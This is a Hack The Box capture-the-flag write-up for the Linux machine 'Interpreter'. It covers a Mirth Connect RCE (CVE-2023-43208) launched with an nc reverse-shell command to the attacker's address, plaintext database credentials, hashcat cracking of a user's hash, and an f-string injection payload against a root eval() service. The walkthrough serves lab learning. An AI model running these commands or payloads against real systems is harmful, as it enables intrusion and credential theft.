← ./writeups

Hack The Box

Interpreter

HTBMediumLinuxWebRCECredentialsPrivEsc

Summary

Interpreter is a Medium Linux machine running Mirth Connect 4.4.0, vulnerable to an unauthenticated RCE (CVE-2023-43208) that yields a shell as the mirth service user. Database credentials in mirth.properties give access to a local MariaDB, exposing a PBKDF2 hash for sedric that is cracked for SSH access. A root-owned Flask service uses eval() on an f-string template, and an f-string injection is used to read the root flag as root.

Machine Information

NameDifficultyOSPlatform
InterpreterMediumLinuxHack The Box

Attack Path

  1. Nmap reveals SSH and Mirth Connect on HTTP/HTTPS.
  2. The version is confirmed as Mirth Connect 4.4.0.
  3. Unauthenticated RCE is exploited (CVE-2023-43208).
  4. A reverse shell is obtained as mirth.
  5. Config files reveal local database credentials.
  6. The MariaDB yields a PBKDF2 hash for sedric.
  7. The hash is cracked and reused for SSH access.
  8. A root-owned Flask service uses eval() on user input.
  9. F-string injection reads the root flag.

Reconnaissance

Initial enumeration was performed with Nmap.

nmap -sC -sV -A -T4 10.129.244.184

Nmap Scan

PortServiceNotes
22SSHOpenSSH 9.2p1 (Debian)
80HTTPJetty — Mirth Connect Administrator
443HTTPSJetty — Mirth Connect

The exposed Mirth Connect Administrator was the most promising vector.

Web Enumeration

The application presented Mirth Connect by NextGen Healthcare, with a Mirth Connect Administrator and a web dashboard sign-in.

Web page

Exploitation — Mirth Connect RCE (CVE-2023-43208)

A detection script confirmed the version and vulnerability:

python3 detection.py https://10.129.244.184

Detection

Server version: 4.4.0
Vulnerable to CVE-2023-43208.

The public exploit was used to trigger a reverse shell:

python3 CVE-2023-43208.py -u https://10.129.244.184 -c 'nc -c sh 10.10.14.228 4444'

Exploit

A listener received the connection:

nc -lvnp 4444

Reverse shell

uid=103(mirth) gid=111(mirth) groups=111(mirth)

Initial Access

As mirth, the application configuration exposed plaintext database credentials in /usr/local/mirthconnect/conf/mirth.properties:

Database credentials

database.username = mirthdb
database.password = MirthPass123!

These were used to access the local MariaDB:

mysql -u mirthdb -p -h 127.0.0.1 mc_bdd_prod
select * from PERSON;
select * from PERSON_PASSWORD;

Database

This revealed the user sedric and a Base64-encoded password hash:

u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

Privilege Escalation

Cracking the hash

The hash was converted to a Hashcat-compatible PBKDF2-HMAC-SHA256 format (600,000 iterations) and cracked:

hashcat -m 10900 sedric_hash.txt /usr/share/wordlists/rockyou.txt

Hashcat

snowflake1

The password was reused for SSH (lateral movement to sedric):

ssh sedric@10.129.244.184

SSH

Root-owned Flask service

Enumeration found a Python process running as root:

ps aux | grep python
# /usr/bin/python3 /usr/local/bin/notif.py

Python processes

notif.py ran a local Flask server on 127.0.0.1:54321 with an /addPatient endpoint. It restricted remote access (request.remote_addr != "127.0.0.1"), but local access was available via the sedric shell. The critical flaw was in the template function:

template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
return eval(f"f'''{template}'''")

Notif script

The input validation allowed { and }, so an attacker-controlled field reaching the eval() could execute Python expressions as root.

F-string injection

The firstname field was used to read the root flag:

python3 - << 'EOF'
import requests
xml = """<patient>
<firstname>{open("/root/root.txt").read()}</firstname>
<lastname>B</lastname>
<sender_app>X</sender_app>
<timestamp>t</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""
r = requests.post("http://127.0.0.1:54321/addPatient", data=xml)
print(r.text)
EOF

Root flag

The HTTP response returned the root flag, confirming code execution as root.

Flags

User

cat /home/sedric/user.txt

User flag

Root

Read via the f-string injection above (response contained /root/root.txt).

Vulnerabilities Identified

Mirth Connect RCE (CVE-2023-43208)

Impact: initial foothold as the mirth service user.

Plaintext Credentials in Configuration

Impact: access to the local database and stored user hashes.

Credential Reuse

Impact: lateral movement to an interactive system account.

Insecure eval() on User Input (F-string Injection)

Impact: Python code execution as root.

Tools Used

Key Takeaways